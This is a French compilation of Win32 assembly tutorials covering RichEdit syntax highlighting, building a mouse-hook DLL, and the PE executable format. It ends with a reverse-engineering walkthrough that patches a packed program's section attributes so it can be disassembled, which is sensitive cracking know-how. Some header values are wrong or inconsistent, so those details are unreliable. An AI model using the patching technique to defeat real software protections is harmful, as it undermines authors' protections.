        invoke SendMessage,hWnd,EM_CHARFROMPOS,0,addr rect.right
        mov txtrange.chrg.cpMax,eax

Une fois qu'on a l'index du premier caractère, on le stocke en tant que future référence dans la variable FirstChar. Ensuite on obtient l'index du dernier caractère visible en envoyant EM_CHARFROMPOS, en passant le coin inférieur droit du rectangle de formatage dans lParam.

        push rect.left
        pop RealRect.left
        push rect.top
        pop RealRect.top
        push rect.right
        pop RealRect.right
        push rect.bottom
        pop RealRect.bottom
        invoke CreateRectRgn,RealRect.left,RealRect.top,RealRect.right,RealRect.bottom
        mov hRgn,eax
        invoke SelectObject,hdc,hRgn
        mov hOldRgn,eax

En m'intéressant à la coloration syntaxique, j'ai remarqué un effet secondaire plutôt laid de cette méthode : si le Richedit Control possède une marge (vous pouvez en créer une en envoyant le message EM_SETMARGINS au Richedit Control), DrawText écrit par dessus la marge. C'est pourquoi j'ai besoin de créer une région de coupure de la taille du rectangle de formatage, en appelant CreateRectRgn. Les données issues des fonctions du GDI (le texte) seront fixées au niveau de la zone d'écriture "writable".

Ensuite, nous avons besoin de colorier les commentaires et on peut les obtenir par notre propre méthode. La mienne c'est de rechercher les ";" et de colorier les textes avec la couleur attribuée aux commentaires jusqu'à ce qu'on trouve un retour chariot. Je n'analyserai pas la routine ici : c'est assez long et compliqué. Il vous suffit de savoir que lorsque tous les commentaires sont colorés on les remplace par des 0s dans le buffer pour que les mots composants les commentaires ne soient pas considérés par la suite comme de nouveaux mots clefs à colorer.

        mov ecx,BufferSize
        lea esi,buffer
        .while ecx>0
            mov al,byte ptr [esi]
            .if al==" " || al==0Dh || al=="/" || al=="," || al=="|" || al=="+" || al=="-" || al=="*" || al=="&" || al=="<" || al==">" || al=="=" || al=="(" || al==")" || al=="{" || al=="}" || al=="[" || al=="]" || al=="^" || al==":" || al==9
                mov byte ptr [esi],0
            .endif
            dec ecx
            inc esi
        .endw

Une fois que les commentaires ont été gérés, on sépare les mots contenus dans le buffer en remplaçant les caractères "de séparation" par des 0s. Avec cette méthode, désormais les caractères de séparation ne nous concernent plus lors du traitement des mots clés du buffer : il n'y a plus qu'un seul caractère valable de séparation, le NULL.

        lea esi,buffer
        mov ecx,BufferSize
        .while ecx>0
            mov al,byte ptr [esi]
            .if al!=0

On fouille dans le buffer pour trouver le premier caractère qui ne soit pas un nul, c'est-à-dire, le premier caractère d'un mot.

                push ecx
                invoke lstrlen,esi
                push eax
                mov edx,eax

On obtient la taille du mot et on le met dans edx

                movzx eax,byte ptr [esi]
                .if al>="A" && al<="Z"
                    sub al,"A"
                    add al,"a"
                .endif

On convertit chaque caractère en minuscule (Si c'est un caractère majuscule)

                shl eax,2
                add eax,edi		; edi contains the pointer to the WORDINFO pointer array
                .if dword ptr [eax]!=0

Après ça, on s'occupe du dword correspondant dans ASMSyntaxArray et on vérifie si sa valeur est 0. Si c'est le cas, on peut passer au mot suivant.

                    mov eax,dword ptr [eax]
                    assume eax:ptr WORDINFO
                    .while eax!=0
                        .if edx==[eax].WordLen

Si la valeur dans le dword n'est pas nule, c'est qu'elle pointe sur la liste liée des structures WORDINFO. On fouille et on se déplace d'une liste à la suivante, en comparant la longueur du mot dans notre buffer local avec la longueur du mot dans la structure WORDINFO. C'est un teste rapide avant de vraiment comparer les mots. On gagne quelques cycles d'horloge.

                            pushad
                            invoke lstrcmpi,[eax].pszWord,esi
                            .if eax==0

Si les longueurs des deux mots sont égales, on pousse leur comparaison en utilisant lstrcmpi.

                                popad
                                mov ecx,esi
                                lea edx,buffer
                                sub ecx,edx
                                add ecx,FirstChar

We construct the character index from the address of the first character of the matching word in the buffer. We first obtain its relative offset from the starting address of the buffer then add the character index of the first visible character to it.

                                pushad
                                .if RichEditVersion==3
                                    invoke SendMessage,hWnd,EM_POSFROMCHAR,addr rect,ecx
                                .else
                                    invoke SendMessage,hWnd,EM_POSFROMCHAR,ecx,0
                                    mov ecx,eax
                                    and ecx,0FFFFh
                                    mov rect.left,ecx
                                    shr eax,16
                                    mov rect.top,eax
                                .endif
                                popad

Une fois qu'on connait l'index du premier caractère du mot à colorier, on effectue un traitement pour obtenir ses coordonnées en envoyant le message EM_POSFROMCHAR. Cependant, ce message est interprété différemment par richedit 2.0 et 3.0. Pour richedit 2.0, wParam contient l'index du caractère et lParam n'est pas employé. Il retourne la coordonnée dans eax. Pour richedit 3.0, wParam est un pointeur vers une structure POINT qui sera remplie avec la coordonnée et lParam contient l'index du caractère.

Comme vous pouvez le voir, en passant de mauvais arguments à EM_POSFROMCHAR on peut faire des ravages à notre système. C'est pourquoi on dois faire la différence entre les versions des RichEdit Controls.

                                mov edx,[eax].pColor
                                invoke SetTextColor,hdc,dword ptr [edx]
                                invoke DrawText,hdc,esi,-1,addr rect,0

Une fois qu'on a la coordonnée de départ, on change la couleur du texte par celle indiquée dans la structure WORDINFO. Et on effectue ensuite la sur-écriture du mot avec la nouvelle couleur.

Pour le mot de la fin, cette méthode peut être améliorée de plusieurs façons. Par exemple, ici tout le texte à partir du premier caractère jusqu'à la dernière ligne visible est concerné. Donc si chaque ligne est très longue, la performance peut gravement baisser en traitant aussi des mots qui ne sont pas visibles. Vous pouvez optimiser cela en ne prenant en compte que le texte véritablement visible ligne par ligne. Donc l'algorithme de recherche peut être amélioré en employant une autre méthode plus efficace. Ne m'en tenez pas rigueur : la méthode de la coloration syntaxique employée dans cet exemple est RAPIDE mais elle peut encore être PLUS RAPIDE.. :)

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


ASSEMBLER UNE DLL

Si vous avez parcouru les Tuts d'Aczelion, vous avez dû voir dans le Tut 17 comment programmer vos propres DLL (Dynamic Link Libraries), il donne également une brève explication pour les assembler mais revenons sur ce point. Je ne vais pas m'attarder de trop, on va passer à la pratique, ça vaut bien toutes les explications.

Faites l'exemple avec moi:

Je pratique sur la DLL du Tut24 'MouseHook.asm'. D'abord il faut étudier comment elle a été construite et c'est extrêmement important. Car pour compiler une DLL il faut deux fichiers. le fichier *.asm et le fichier *.def qui en découle.

;--------------
;MouseHook.asm
;--------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.const
WM_MOUSEHOOK equ WM_USER+6
.data
hInstance dd 0

.data?
hHook dd ?
hWnd dd ?

.code
DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD ;<-- on commence toujours par
    push hInst				   		; déclarer le point d'entrée
    pop hInstance					  	; de la DLL.
      mov  eax,TRUE						; Mais peu importe...
      ret
DllEntry Endp

MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD	; Ce qui nous intéresse ce sont les
    invoke CallNextHookEx,hHook,nCode,wParam,lParam	; noms des fonctions appartenant à la
    mov edx,lParam					; DLL
    assume edx:PTR MOUSEHOOKSTRUCT
    invoke WindowFromPoint,[edx].pt.x,[edx].pt.y
    invoke PostMessage,hWnd,WM_MOUSEHOOK,eax,0
    assume edx:nothing
    xor eax,eax
    ret
MouseProc endp

InstallHook proc hwnd:DWORD
    push hwnd
    pop hWnd
    invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
    mov hHook,eax
    ret
InstallHook endp

UninstallHook proc
    invoke UnhookWindowsHookEx,hHook
    ret
UninstallHook endp

End DllEntry

Et voilà à partir du contenu de la DLL on va pouvoir créer le fichier *.def. Puisqu'on sait que notre MouseHook.asm contient les fonctions MouseProc, InstallHook et UninstallHook, le fichier *.def sera ainsi définit:
;-------------
;MouseHook.def
;-------------
LIBRARY MouseHook  ; <-- c'est le nom de votre DLL

EXPORTS		   ; <-- et les fonctions qu'elle met à notre disposition.
  MouseProc
  InstallHook
  UninstallHook
Voilà vous écrivez ça dans MouseHook.def

Maintenant nous avons les deux fichiers en question (*.asm et *.def), nous pouvons passer à la phase d'assemblage de la DLL en elle-même.

D'abord sachez que j'ai créé un dossier spécial assemblage en tout genre dans mon dossier Masm32. Mon dossier s'appelle C:\Masm32\_essai et dedans se trouvent les petits outils indispenssables que sont :
- ML.exe
; - RC.exe (+Rcdll.dll)
; ça c'est pour passer - LINK.exe (+Mspdb50.dll)
; d'un *.asm --> *.exe - Cvtres.exe
; Normalement ils sont présent dans c:\Masm32\bin
Pour une DLL vous devez en plus rajouter:
- Lib.exe

Allons-y gaiement:
J'ouvre une fenêtre DOS et je me déplace dans ce répertoire:
cd\
cd Masm32
cd _essai
Pour vous se sera normalement cd bin

ET VOICI LA VÉRITABLE OPÉRATION:

(Les majuscules et minuscules n'ont pas d'importance sur le nom de votre DLL mais elles en ont pour le reste. Attention au paramètre /Cp par exemple.)
ml /c /coff /Cp mousehook.asm
link /DLL /NOENTRY /def:mousehook.def /subsystem:windows mousehook.obj

J'ai automatisé ce processus dans un fichier *.bat nommé Assembles_DLL.bat. Vous pourrez vous en servir en plaçant Assembles_DLL dans ..C:\Masm32\Bin ou pour moi ..C:\Masm32\_essai. Placez dans le même répertoire vos deux fichiers *.asm et *.def sous le nom de 'DLL.asm' et 'DLL.def'. Exécutez 'Assembles_DLL' et vous obtiendrez une DLL du nom de (Et non pas DLL.dll) Nom_qui_est_dans_DLLdef.dll. Il sera donc inutile de la renommer.

Par Morgatte


Version 1.0
I N D E X

Tut1: Vue d'ensemble sur le format d'un PE File (Overview of PE File Format)
Tut2: Détecter un PE File Valide (Detecting a Valid PE File)
Tut3: Le File Header
Tut4: Les membres facultatifs du header (Optional Header)
Tut5: Table des Sections (Section Table)
Tut6: La Table des Importations (Import Table)
Tut7: La Table des Exportations (Export Table)

PE.txt de LUEVELSMEYER
PE.html de plusieurs auteurs regroupés par Christal
GlobalPE.html représentation graphique d'un PE File

V O C A B U L A I R E

PE File:
C'est un fichier de type PE, c'est à dire un exécutable Win32, un programme 32bits.

Format d'un PE File:
C'est le format d'un programme Win32, la manière dont il est intérieurement organisé. C'est donc le fait de savoir combien de sections il comprend et lesquelles (.data, .data?, .const, .code)... savoir à quelle adresse il commence (00400000) son RVA (00401000)....c'est son ossature en peu.

Offset(de fichier) contre RVA:
Vous trouverez parfois l'expression 'offset(de fichier)' c'est seulement un offset réel, c'est pour faire une différence avec le RVA.

RVA:
RVA (relative virtual address) est le diminutif de 'l'adresse virtuelle relative'. En général un programme Win32 est mappé en mémoire à partir de l'adresse 00400000h. De 00400000h à 004010000h se trouve l'entête du programme le Header global (le MZ header du Dos, le Dos Stub, le PE header, et la table des sections). Après l'adresse 00401000h on arrive dans le programme en lui même, dans ses sections (.data, .data?, .const, .code...)
Donc le vrai programme en lui-même commence en 00401000h alors qu'en réalité en globalité il commence en 00400000h. On se sert du point 00401000h comme référence pour nos adresses, le RVA=1000h (00401000h-00400000h).

Morgatte


PE File Format

Le PE Header

PE File Format

Avant propos

De plus en plus il arrive que des protections renforcées "s'amusent" avec le PE Header, les tables d'Import, etc...

Loin de vouloir faire un tour exhaustif de la question, le texte qui suit se veut juste une introduction à la comprehension de l'architecture du PE HEADER.

Le PE HEADER répond à une architecture de ce type:

Dos-Stub

File-Header

Optional Header

Data Directories

RVA's to directories in sections

Sections headers

RVA's to section borders

Section 1

...

Section n

L'exemple de Notepad.exe (version Win 95)

Le PE HEADER commence en 0x00 par la compatibilité MS-DOS: le MZ Header:

00000000 4D5A 9000 0300 0000 0400 0000 FFFF 0000 MZ..............
00000010 B800 0000 0000 0000 4000 0000 0000 0000 ........@.......
00000020 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030 0000 0000 0000 0000 0000 0000 8000 0000 ................
00000040 0E1F BA0E 00B4 09CD 21B8 014C CD21 5468 ........!..L.!Th
00000050 6973 2070 726F 6772 616D 2063 616E 6E6F is program canno
00000060 7420 6265 2072 756E 2069 6E20 444F 5320 t be run in DOS
00000070 6D6F 6465 2E0D 0D0A 2400 0000 0000 0000 mode....$.......

MZ Header

WORD e_magic;      > Nombre Magique ( 4D5A )
WORD e_cblp;       > Bytes on last page of file
WORD e_cp;         > Pages in file
WORD e_crlc;       > Relocations
WORD e_cparhdr;    > Size of header in paragraphs
WORD e_minalloc;   > Minimum extra paragraphs needed
WORD e_maxalloc;   > Maximum extra paragraphs needed
WORD e_ss;         > Initial (relative) SS value
WORD e_sp;         > Initial SP value
WORD e_csum;       > Checksum
WORD e_ip;         > Initial IP value
WORD e_cs;         > Initial (relative) CS value
WORD e_lfarlc;     > File address of relocation table
WORD e_ovno;       > Overlay number
WORD e_res[4];     > Reserved words
WORD e_oemid;      > OEM identifier (for e_oeminfo)
WORD e_oeminfo;    > OEM information; e_oemid specific
WORD e_res2[10];   > Reserved words
DWORD e_lfanew;    > File address of new exe header
Address     Values     Meaning

00000000     5A4D    Signature: MZ
00000002     0090    Extra Bytes
00000004     0003    Pages
00000006     0000    Reloc Items
00000008     0004    Header Size
0000000A     0000    Min Alloc
0000000C     FFFF    Max Alloc
0000000E     0000    Initial SS
00000010     00B8    Initial SP
00000012     0000    Check Sum
00000014     0000    Initial IP
00000016     0000    Initial CS
00000018     0040    Reloc Table
0000001A     0000    Overlay

Le premier champ, e_magic est aussi appelé magic number.Ce champ est utilisé
pour identifier un type de fichier compatible MS-Dos. Tous les exécutables compatibles MS-Dos placent cette
valeur à 0x54AD, qui représente le caractère ASCII "MZ". Le champ le plus important
pour Windows est le dernier: e_lfanew, indiquant à quel offset le PE Header est situé.

PE File Header:

00000080 5045 0000 4C01 0600 8D54 F32F 0000 0000 PE..L....T./....
00000090 0000 0000 E000 0E01                     ........

WORD   Machine Type                        ( 014C ) i386
WORD   Nombre de Sections                  ( 0006 )
DWORD  Time/Date                           ( 2FF3548D )
DWORD  Pointeur vers la table des Symboles ( 00000000 )
DWORD  Nombre de Symboles                  ( 00000000 )
WORD   Taille de l'Optional Header         ( 00E0 )
WORD   Caracteristiques                    ( 010E )

Address      Values        Meaning
00000080    00004550     Signature: PE
00000084        014C     Machine: 014C=I386
00000086        0005     Number of Sections
00000088    2FF3548D     Time/Date Stamp
0000008C    00000000     Pointer to Symbol Table
00000090    00000000     Number of Symbols
00000094        00E0     Optional Header Size
00000096        010E     Characteristics

PE Optional Header:

Informations données par un éditeur hexadécimal

00000090                     0B01 0232 003A 0000         ...2.:..
000000A0 004E 0000 0006 0000 0010 0000 0010 0000 .N..............
000000B0 0050 0000 0000 4000                     .P....@.

Informations données par ProcDump

Header lnfos
Entry Point :   00001000
Size of image : 0000D000
Image Base :    00400000

WORD    Magic                   ( 010B )
BYTE    MajorLinkerVersion      ( 02 )
BYTE    MinorLinkerVersion      ( 32 )
DWORD   SizeOfCode              ( 00003A00 )
DWORD   SizeOfInitializedData   ( 00004E00 )
DWORD   SizeOfUninitializedData ( 00000600 )
DWORD   AddressOfEntryPoint     ( 00001000 )
DWORD   BaseOfCode              ( 00001000 )
DWORD   BaseOfData              ( 00005000 )

DWORD   ImageBase               ( 00004000 )

000000B0                     0010 0000 0002 0000         ........
000000C0 0100 0000 0000 0000 0400 0000 0000 0000 ................
000000D0 00D0 0000 0004 0000 197B 0100 0200 0000 .........{......
000000E0 0000 1000 0010 0000 0000 1000 0010 0000 ................
000000F0 0000 0000 1000 0000                     ........

SectionAlignment            00 10 00 00 ; 16-bytes-alignment
FileAlignment               00 20 00 00 ; 32-bytes-alignment
MajorOperatingSystemVersion 01 00       ;
MinorOperatingSystemVersion 00 00       ;
MajorImageVersion           00 00       ; version 0.0
MinorImageVersion           00 00       ;
MajorSubsystemVersion       04 00       ; Win32 4.0
MinorSubsystemVersion       00 00       ;
Win32VersionValue           00 00 00 00 ;
SizeOfImage                 00 D0 00 00 ; checksum
SizeOfHeaders               00 04 00 00 ; offset de la première section
CheckSum                    19 7B 01 00 ; non utilisé pour les non-drivers
Subsystem                   02 00       ; Win32 console
DllCharacteristics          00 00       ; inutilisé (pas une DLL)
SizeOfStackReserve          00 00 10 00 ; 1 MB stack
SizeOfStackCommit           00 10 00 00 ; 4 KB pour démarrer
SizeOfHeapReserve           00 00 10 00 ; 1 MB heap
SizeOfHeapCommit            00 10 00 00 ; 4 KB to start with
LoaderFlags                 00 00 00 00 ;
NumberOfRvaAndSizes         10 00 00 00 ; constant

A noter que l'alignement des sections n'est pas identique en RAM et sur le DD

Informations données par un éditeur hexadécimal

000000F0 0000 0000 1000 0000 0000 0000 0000 0000 ................
00000100 0070 0000 9A0C 0000 0080 0000 C830 0000 .p...........0..
00000110 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000120 00C0 0000 F407 0000 0000 0000 0000 0000 ................
00000130 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000140 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000150 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000160 0000 0000 0000 0000 0000 0000 0000 0000 ................

Informations données par procdump:

PE directory informations (HEX)

Export Table
Import Table
Resource
Exception
Security
Relocations
Debug Datas
Description
GIobal PTR
TLS table
Load Config
Bound Import
Import Address Table

RVA
00000000
00007000
00008000
00000000
00000000
0000C000
00000000
00000000
00000000
00000000
00000000
00000000
00000000

Size
00000000
00000C9A
000030C8
00000000
00000000
000007F4
00000000
00000000
00000000
00000000
00000000
00000000
00000000

Section Header

00000170 0000 0000 0000 0000 2E74 6578 7400 0000 .........text...
00000180 5339 0000 0010 0000 003A 0000 0004 0000 S9.......:......
00000190 0000 0000 0000 0000 0000 0000 2000 0060 ............ ..`
000001A0 2E62 7373 0000 0000 3A04 0000 0050 0000 .bss....:....P..
000001B0 0001 0000 0000 0000 0000 0000 0000 0000 ................
000001C0 0000 0000 8000 00C0 2E64 6174 6100 0000 .........data...
000001D0 1202 0000 0060 0000 0004 0000 003E 0000 .....`.......>..
000001E0 0000 0000 0000 0000 0000 0000 4000 00C0 ............@...
000001F0 2E69 6461 7461 0000 9A0C 0000 0070 0000 .idata.......p..
00000200 000E 0000 0042 0000 0000 0000 0000 0000 .....B..........
00000210 0000 0000 4000 0040 2E72 7372 6300 0000 ....@..@.rsrc...
00000220 0040 0000 0080 0000 0032 0000 0050 0000 .@.......2...P..
00000230 0000 0000 0000 0000 0000 0000 4000 0040 ............@..@
00000240 2E72 656C 6F63 0000 1E09 0000 00C0 0000 .reloc..........
00000250 000A 0000 0082 0000 0000 0000 0000 0000 ................
00000260 0000 0000 4000 0042 0000 0000 0000 0000 ....@..B........

BYTE    Name[IMAGE_SIZEOF_SHORT_NAME]  ( 2E74 6578 7400 )
DWORD   PhysicalAddress
DWORD   VirtualSize                    ( 5339 0000 )
DWORD   VirtualAddress                 ( 0010 0000 )
DWORD   SizeOfRawData                  ( 003A 0000 )
DWORD   PointerToRawData               ( 0004 0000 )
DWORD   PointerToRelocations
DWORD   PointerToLinenumbers
WORD    NumberOfRelocations
WORD    NumberOfLinenumbers
DWORD   Caracteristiques               ( 2000 0060 ) -> 60000020

Informations données par Procdump:

Sections lnformations :

 Name  Virtual Size  Virtual Off   Raw Size    Raw Offset Characterics
.text    00003953     00001000     00003A00     00000400    60000020
.bss     0000043A     00005000     00000100     00000000    C0000080
.data    00000212     00006000     00000400     00003E00    C0000040
.idata   00000C9A     00007000     00000E00     00004200    40000040
.rsrc    00004000     00008000     00003200     00005000    40000040
.reloc   0000091E     0000C000     00000A00     00008200    42000040

Les caractéristiques:

  Valeur              Definition

  0x00000020          Code section
  0x00000040          Initialized data section
  0x00000080          Uninitialized data section
  0x04000000          Section cannot be cached
  0x08000000          Section is not pageable
  0x10000000          Section is shared
  0x20000000          Executable section
  0x40000000          Readable section
  0x80000000          Writable section

(pour plus de détails voir  "caractéristiques du PE Header")

Notez qu'il y a une Section Header par section; "Thus". Pour le PE Header
de Notepad.exe, il y aura 06 Sections Headers. Chaque section contient son nom en ASCII (ex: ".text")
et un pointeur vers son emplacement; les headers ont une taille de 40 octets et il n'y a pas de "padding"
entre eux. Les sections qui sont habituellement présentes dans un exécutable sont (sans être
obligaoire):

Executable Code Section:   .text
Data Sections:             .data, .rdata, ou .bss
Resources Section:         .rsrc
Export Data Section:       .edata
Import Data Section:       .idata
Debug Information Section: .debug

Exécutable code section: .text

Cette section contient le code du programme

Data sections: .bss, .rdata, .data

Il y a trois types de sections data: .bss, qui contient des "uninitialized data" (incluant toutes les variables déclarées
et fixes), .rdata, qui contient
les "read-only datas" (comme les strings, et les constantes), et .data, qui contient les variables globales ou le programme. Ces sections n'ont pas de réelle
structure.

Ressources section: .rsrc

La section .rsrc contient toutes les ressources de l'application. Les 16 premiers octets de la section .rsrc contiennent
les Ressources du "Directory Header":

 Resource Directory
 DWORD    Caracteristiques
 DWORD    TimeDateStamp
 WORD     MajorVersion
 WORD     MinorVersion
 WORD     NumberOfNamedEntries
 WORD     NumberOfIdEntries

Qui est immédiatement suivie par le nombre d'entrées spécifiées
dans NumberOfNamedEntries + NumberOfIdEntries:

 Resource Directory Entry
 DWORD    Name;
 DWORD    OffsetToData;

Le Nom d'une entrée du Directory détermine le type de la ressource,
pendant que l'Offset pointe vers une autre "Ressource Directory Entry" (la structure habituelle est une
Ressource Directory contenant la Ressource type pointée par une Ressource Directory (ou subdirectory) contenant
la Resource ID # et pointant vers l'entrée des Ressources Datas), ou vers l'entrée d'une Ressource
Data:

 Resource Data Entry
 DWORD   OffsetToData;
 DWORD   Size;
 DWORD   CodePage;
 DWORD   Reserved;

L'entrée de "Resource Data" contient la taille de l'actuelle Ressource
data, qui sera à terme une "unicode string" pour la String Table, et l'image binaire pour une
bitmap, ou une liste de valeurs et de strings pour une boite de dialogue. L'information sur le format du contenu
de la ressource binaire peut être trouvée dans "Micro$oft's Win32 Binary Resource Formats.".

La section Export data: .edata

La section .edata contient les "exported data" et les fonctions pour une application ou une librairie
(.DLL). La section commence avec le "Export Directory":

 Export Directory
 DWORD   Characteristics;
 DWORD   TimeDateStamp;
 WORD    MajorVersion;
 WORD    MinorVersion;
 DWORD   Name;
 DWORD   Base;
 DWORD   NumberOfFunctions;
 DWORD   NumberOfNames;
 DWORD   *AddressOfFunctions;
 DWORD   *AddressOfNames;
 WORD    *AddressOfNameOrdinals;

Les trois derniers champs contiennent les pointeurs vers la liste des points d'entré
(Entry points) des fonctions exportées, la liste des noms des fonctions "null-seperated", et la
liste des valeurs ordinales des fonctions. Ces pointeurs sont opérationnels quand le programme est chargé
en mémoire.

Import data section: .idata

Cette section contient la liste des fonctions importées dans le programme. Elle commence avec l'Import Directory:

Import Directory
 DWORD    dwRVAFunctionNameList;
 DWORD    dwUseless1;
 DWORD    dwUseless2;
 DWORD    dwRVAModuleName;
 DWORD    dwRVAFunctionAddressList;

Les deux derniers champs sont répétés pour chaque application
ou librairie que le programme importe. Dans un éditeur hexadécimal vous pourrez voir en premier le
nom de la section d'un module donné, le nom du module, puis toutes les fonctions importées par ce
module.

La liste des imports est répétée jusqu'à une entrée nulle.

A lire:  Import Data-Import Table Tutorial  by el.CaRaCoL

Relative Virtual Addresses

La RVA (Relative Virtual Address) est utilisée pour décrire une adresse
mémoire si vous ne connaissez pas l'adresse base. C'est la valeur qui additionnée à l'adresse
base va vous donner l'adresse réelle telle que vous pourrez la lire dans un débuggeur ou un désassembleur.

Exemple: supposez qu'un fichier exécutable soit chargé à l'adresse 0x400000 et que son exécution
démarre à RVA 0x1560. L'adresse de l'Entry Point de l'exécutable sera en 0x401560. Si l'exécutable
était chargé en 0x100000, l'Entry Point se situerait en 0x101560.

Les choses commencent à se compliquer un peu si les sections ne sont pas alignées. Les sections d'un
fichier sont souvent alignées sur 512 octets, mais l'image chargée peut être alignées
sur 4096 octets...

Aussi, pour trouver une adresse RVA précise dans un fichier PE, vous devrez calculer l'offset d'où
le programme sera chargé.

La section Debug information: .debug

Cette section contient les informations de débuggage du programme, si le compilateur utilisé le permettait.
Elle commence par un "Debug Directory":

Debug Directory

DWORD   Characteristics
DWORD   TimeDateStamp
WORD    MajorVersion
WORD    MinorVersion
DWORD   Type
DWORD   SizeOfData
DWORD   AddressOfRawData
DWORD   PointerToRawData

Modification du PE Header:

Puisque le PE Header donne l'adresse de départ et la taille de chacune de ses différentes sections
(et c'est le cas de la section .rsrc, la taille des datas), il est facile de modifier le contenu du PE Header en
ajustant l'offset du champ de chaque section suivant ce qui doit être modifié. Pour ajouter du code
supplémentaire vous pouvez agrandir la section .text mais vous aurez à corriger chacune des sections
suivantes; pour ajouter ou changer des ressources, il faudra modifier chaque subdirectory de la section .rsrc et
corriger toutes les sections qui viennent après (c'est ainsi que Borland Resources Windows et les éditeurs
de ressources travaillent). Du coup il semble plus facile, plutôt que de modifier chacune des sections, de
ne s'occuper que de la dernière d'entre elles en l'agrandissant (ce qui au passage modifiera la taille de
l'application). Pourtant c'est la meilleurs et la plus rapide des méthodes.

A lire: Agrandir une section par Nody
           Agrandir une section par TeeJi

Caractéristiques des sections

Voici quelques explications rapides et très succinctes sur les attributs des
sections:

================

0x20...... : signifie eXecutable

0x40...... : signifie Readable

0x80...... : signifie Writeable

exemple 0x60.. -> eXecutable + Readable

0x60... -> R-X-.

0xC0... -> R-.-W

0xE0... -> R-X-W

=================

0x......20 : signifie contains Code

0x......40 : signifie Initialized data

0x......80 : signifie Unitialized data

0x......40 : la plupart des sections peuvent avoir cette valeur excepté les sections CODE et .BSS

=================

Pour en savoir plus il existe un bon article récupéré sur Microsoft.com appelé " PEERING INSIDE the PE " écrit en mars 94 par Matt Pietrek (qui travaille ou a travaillé chez..
chez... devinez: NU-MEGA TECHNOLOGIES INC.)

(contribution de Neutral AtomX)

Et pour ceux qui souhaitent plus de détails
(extrait de Advanced Registry Tracer de Psyché)

// Section characteristics.

#define IMAGE_SCN_TYPE_NO_PAD                0x00000008 // Reserved.
#define IMAGE_SCN_CNT_CODE                   0x00000020 // Section contains code.
#define IMAGE_SCN_CNT_INITIALIZED_DATA       0x00000040 // Section contains initialized data.
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA     0x00000080 // Section contains uninitialized data.
#define IMAGE_SCN_LNK_OTHER                  0x00000100 // Reserved.
#define IMAGE_SCN_LNK_INFO                   0x00000200 // Contains comments or some other  info
#define IMAGE_SCN_LNK_REMOVE                 0x00000800 // Contents will not become part of image.
#define IMAGE_SCN_LNK_COMDAT                 0x00001000 // Section contents comdat.
#define IMAGE_SCN_NO_DEFER_SPEC_EXC          0x00004000 // Reset speculative exceptions handling
#define IMAGE_SCN_GPREL                      0x00008000 // Section content can be accessed  to GP
#define IMAGE_SCN_MEM_FARDATA                0x00008000
#define IMAGE_SCN_MEM_PURGEABLE              0x00020000
#define IMAGE_SCN_MEM_16BIT                  0x00020000
#define IMAGE_SCN_MEM_LOCKED                 0x00040000
#define IMAGE_SCN_MEM_PRELOAD                0x00080000
#define IMAGE_SCN_ALIGN_1BYTES               0x00100000
#define IMAGE_SCN_ALIGN_2BYTES               0x00200000
#define IMAGE_SCN_ALIGN_4BYTES               0x00300000
#define IMAGE_SCN_ALIGN_8BYTES               0x00400000
#define IMAGE_SCN_ALIGN_16BYTES              0x00500000 // Default alignment if no others specified.
#define IMAGE_SCN_ALIGN_32BYTES              0x00600000
#define IMAGE_SCN_ALIGN_64BYTES              0x00700000
#define IMAGE_SCN_ALIGN_128BYTES             0x00800000
#define IMAGE_SCN_ALIGN_256BYTES             0x00900000
#define IMAGE_SCN_ALIGN_512BYTES             0x00A00000
#define IMAGE_SCN_ALIGN_1024BYTES            0x00B00000
#define IMAGE_SCN_ALIGN_2048BYTES            0x00C00000
#define IMAGE_SCN_ALIGN_4096BYTES            0x00D00000
#define IMAGE_SCN_ALIGN_8192BYTES            0x00E00000
#define IMAGE_SCN_LNK_NRELOC_OVFL            0x01000000 // Section contains extended relocations.
#define IMAGE_SCN_MEM_DISCARDABLE            0x02000000 // Section can be discarded.
#define IMAGE_SCN_MEM_NOT_CACHED             0x04000000 // Section is not cachable.
#define IMAGE_SCN_MEM_NOT_PAGED              0x08000000 // Section is not pageable.
#define IMAGE_SCN_MEM_SHARED                 0x10000000 // Section is shareable.
#define IMAGE_SCN_MEM_EXECUTE                0x20000000 // Section is executable.
#define IMAGE_SCN_MEM_READ                   0x40000000 // Section is readable.
#define IMAGE_SCN_MEM_WRITE                  0x80000000 // Section is writeable.

"Nous allons avoir besoin de ProcDump ici pour nous donner l'Entry Point en
virtual offset de ART.

Lancer Pdump => PE Editor => charger ART.EXE => Entry Point : 499B9 (ceci est le virtual offset, bref
c'est l'offset en mémoire et si vous voulez connaître l'adresse, vous ajoutez l'Image Base = 400000,
ce qui nous donne 4499B9 comme Entry Point en mémoire).

Pourquoi fait-on ça ? Pour savoir dans quelle section se trouve l'Entry Point.

Allez maintenant dans SECTION et regardez la colonne " virtual offset ".

499B9 se trouve dans .CODE car 499B9 est > 1000 (le début de la section .CODE) et est < 86000 (le
début de la section .DATA).

Voilà une bonne chose … maintenant regardons les attributs de la section .CODE

Cliquez avec le bouton de droite de la souris sur CODE (colonne NAME toujours dans ProcDump of course ) et choisissez
EDIT.

En bas, à droite se trouvent les " Section Characteristics " (= les attributs) qui valent : C00000040
qui, si on se réfèrent à notre tableau ci-dessus veut dire : readable (40000000 => accès
en lecture) + writable (80000000 => accès en écriture => c'est typique des exe compressés,
les programmes habituels protègent leur code en ne permettant pas l'écriture DANS le code, contrairement
à la section DATA où on peut lire et écrire) + Init Data (00000040) = C0000040.

Si vous regardez de plus près la liste, vous découvrirez deux choses intéressantes : 20000000
(exécutable) et 00000020 (contient du code).

Maintenant, si on disait que notre section doit être 20000000 + 40000000+ 80000000 + 00000020 = E00000020
?

Changeons C0000040 en E0000020 et quittons ProcDump.

Essayez maintenant de désassembler ART.EXE avec Wdasm … vi vi ça marche !

Cliquons sur l'icône PEP et on arrive à l'Entry Point (4499B9), allez sur cette ligne et vous verrez
